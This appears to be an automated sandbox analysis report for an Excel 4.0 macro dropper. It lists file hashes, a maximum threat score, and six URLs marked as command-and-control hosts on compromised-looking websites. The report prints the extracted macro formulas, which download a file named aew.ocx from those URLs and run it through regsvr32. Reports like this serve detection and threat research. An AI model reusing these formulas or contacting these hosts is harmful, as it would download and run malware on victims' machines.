General

  • Target

    d36ad05aac6706eaec73632a797b4c6833e3ea1f9b607ac0801637670550e0db

  • Size

    46KB

  • Sample

    241119-nba5vswbpp

  • MD5

    927be3c113bdce59bdd341c6cfaee7a0

  • SHA1

    8c296975cb618bda1e4d86f6592581341539bd9b

  • SHA256

    d36ad05aac6706eaec73632a797b4c6833e3ea1f9b607ac0801637670550e0db

  • SHA512

    898cd33df2827612c8561e0fa788dc8f9351c59de4bbb209337cc2e48a91067f454338973841d0f490bf5f9abbf382c7d2efc5e085759b4ea18586cb4eceb3f2

  • SSDEEP

    768:2o9DOevZCwrvtOzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VPPDks:2o9D+tT5fTR4Lh1NisFYBc3cr+UqVnDZ

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://dan-bau.com/wp-includes/css/dist/h2plh7xZso/

https://advisereviews.com/wp-content/2NyZZiJ6KEzPPrbx/

https://aplicativos.xyz/apk/49Wq5MN/

http://www.equus.com/2i8yt/0kWhkppl8oTFCeYu9gS/

http://prevozkop.rs/qnov/n017r0EEa/

https://businessandhr.com/w/xrB/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://dan-bau.com/wp-includes/css/dist/h2plh7xZso/","..\aew.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://advisereviews.com/wp-content/2NyZZiJ6KEzPPrbx/","..\aew.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://aplicativos.xyz/apk/49Wq5MN/","..\aew.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.equus.com/2i8yt/0kWhkppl8oTFCeYu9gS/","..\aew.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://prevozkop.rs/qnov/n017r0EEa/","..\aew.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://businessandhr.com/w/xrB/","..\aew.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\aew.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://dan-bau.com/wp-includes/css/dist/h2plh7xZso/

xlm40.dropper

https://advisereviews.com/wp-content/2NyZZiJ6KEzPPrbx/

Targets

    • Target

      d36ad05aac6706eaec73632a797b4c6833e3ea1f9b607ac0801637670550e0db

    • Size

      46KB

    • MD5

      927be3c113bdce59bdd341c6cfaee7a0

    • SHA1

      8c296975cb618bda1e4d86f6592581341539bd9b

    • SHA256

      d36ad05aac6706eaec73632a797b4c6833e3ea1f9b607ac0801637670550e0db

    • SHA512

      898cd33df2827612c8561e0fa788dc8f9351c59de4bbb209337cc2e48a91067f454338973841d0f490bf5f9abbf382c7d2efc5e085759b4ea18586cb4eceb3f2

    • SSDEEP

      768:2o9DOevZCwrvtOzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VPPDks:2o9D+tT5fTR4Lh1NisFYBc3cr+UqVnDZ

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks